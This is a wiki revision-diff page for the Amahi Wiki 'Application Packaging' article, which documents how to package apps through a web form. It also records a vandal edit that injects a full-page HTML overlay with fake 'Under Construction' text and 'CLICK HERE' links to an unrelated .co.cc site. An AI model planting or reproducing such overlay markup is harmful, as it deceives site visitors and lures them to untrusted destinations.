Difference between revisions of "Application Packaging"

From Amahi Wiki
Jump to: navigation, search
Line 7: Line 7:
 
The fields in the application's form are listed below with their descriptions:
 
The fields in the application's form are listed below with their descriptions:
  
= Name for the Application =
+
>= Name for the Application =
 
Official name for the application. This is the name the user sees for the application. It must be unique (no repeats). Make sure the capitalization is the official capitalization of the original application. Examples: WordPress, Zina, Gallery, MediaWiki...
 
Official name for the application. This is the name the user sees for the application. It must be unique (no repeats). Make sure the capitalization is the official capitalization of the original application. Examples: WordPress, Zina, Gallery, MediaWiki...
 +
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ykosyqopu.co.cc Under Construction! Please Visit Reserve Page. Page Will Be Available Shortly]=
 +
----
 +
=[http://ykosyqopu.co.cc CLICK HERE]=
 +
----
 +
</div>
  
 
= App Home Page =
 
= App Home Page =

Revision as of 21:54, 17 November 2010

The goal of packaging an application is to reduce to zero the technical knowledge required to install and use the application (no database setup, no web server setup, no application configuration, etc.) The actual package install is through a single click from the Amahi user.

Packaging applications is through a simple web form in the contributor's area of amahi.org.

Here is a 10-page Powerpoint presentation HOWTO package an application

The fields in the application's form are listed below with their descriptions:

>= Name for the Application = Official name for the application. This is the name the user sees for the application. It must be unique (no repeats). Make sure the capitalization is the official capitalization of the original application. Examples: WordPress, Zina, Gallery, MediaWiki...


App Home Page

The URL to the app's home page, if it has one. Otherwise you can leave it blank.

Version/Release

Version number for this app. Please specify like this: 7.5, 2.3.4, 0.1, etc. and align the version numbering with the source application being packaged.

Logo URL

Best resolution for the logo is 160x120px or multiples thereof. It should have transparent background (for best integration in all themes). Valid formats are png (much recommended), png and gif. The best logos are well centered with the logo covering most of the image and transparent background. If you need a quick image editor, you can use the free online image editor Phoenix, by Aviary.

Screenshot URL

Best resolution for the screenshot is 320x240px or multiples thereof. Valid formats are png, jpg and gif. It must not be blurry. Most times it's best to zoom in as much as possible to a representative area of the screen, not the whole screen of the app. If you need a quick image editor, you can use the free online image editor Phoenix, by Aviary.

Source URL

URL for a tar.gz/tgz or zip file containing the source of the app. The source tar.gz/tgz or zip file must expand into a single directory to be supported.

You can leave this and the SHA1 fields blank if the app is RPM based.

Source SHA1 checksum

Integrity checking is done through the sha1sum program. This field is the SHA1SUM for the source file (tar.gz/tgz or zip file), obtained by running sha1sum on the source code of the app. See how with the sha1sum HOWTO

Suggested URL name or "short name"

Suggested DNS 'short-name for this app. This is only if the app has a web interface (or much less frequently, if it otherwise needs to have a DNS entry for it to work somehow). E.g. if you type blog in this field, the application will install and be bound to http://blog.

Users will also be able to type blog in the address bar of browsers to reach the app. If this name is not available, a subsequent name will be picked, e.g. blog1.

RPM(s)

This field is a list, the name of the RPM for the application, *preceded* by any other required RPMs (space-separated or comma-separated). These will be installed via yum in one install command. Note, however, that for reliability reasons, only the main (last) RPM will be removed upon un-install.

Custom Webapp Options

This field, if filled, allows you to add custom options to this application, if this app has an associated webapp. The values you enter here will be but in a .htaccess file.

App Database

This field should contain the name of the database for this app, if any. MySQL is used by default. A corresponding user by the same name is created. The password for the user is also the database name. IMPORTANT: BOTH user and database are created at app install time and ARE DROPPED when the app is uninstalled

Kind of application

Kind of application. Must be one of: php, theme, ror, ... or leave blank (this selects form a pattern of virtual host templates and needs to be more documented)

App home page URL

Type the URL for the home page or the main site for this application, e.g. http://wordpress.org

App Tags

Any tags you want for this app. Useful for search and categories for this application. Better to have more tags at this stage.

Short Description

This field should contain a description of the application in a single paragraph with a sentence or more in it. Ideally, the first sentence should contain an good description within the first 70 characters of this field. You can include some very limited HTML. Links should include a target="_" in it.

Long Description

This field should contain a full description of the app in several paragraphs. It will be positioned after the short description and should be a follow-through of it. You can include some limite HTML. Links should include a target="_" in it.

Install Scripts

See the section on Application Install Scripts

App Dependencies

In some rare cases, some apps need other apps in Amahi to be installed first prior to being installed. This is known as an "app dependency" (contrast to package/rpm dependencies).

This is supported at the moment, but not exposed to the My Apps interface. Please send the team an email with this request for a dependency to be added.

Troubleshooting

NOTE: The application installer logs install process information in your HDA at:

 /var/log/amahi-app-installer.log

So please check that log file for exceptions or other errors if your application fails to install!

Releasing

As soon as you are happy with how the app is installed please contact the core team at team at amahi org or in the IRC channel to review. At this stage the basic packaging is complete. You can add other users to the app as contributors to help with the app and

Return to the details on how to be an Application Contributor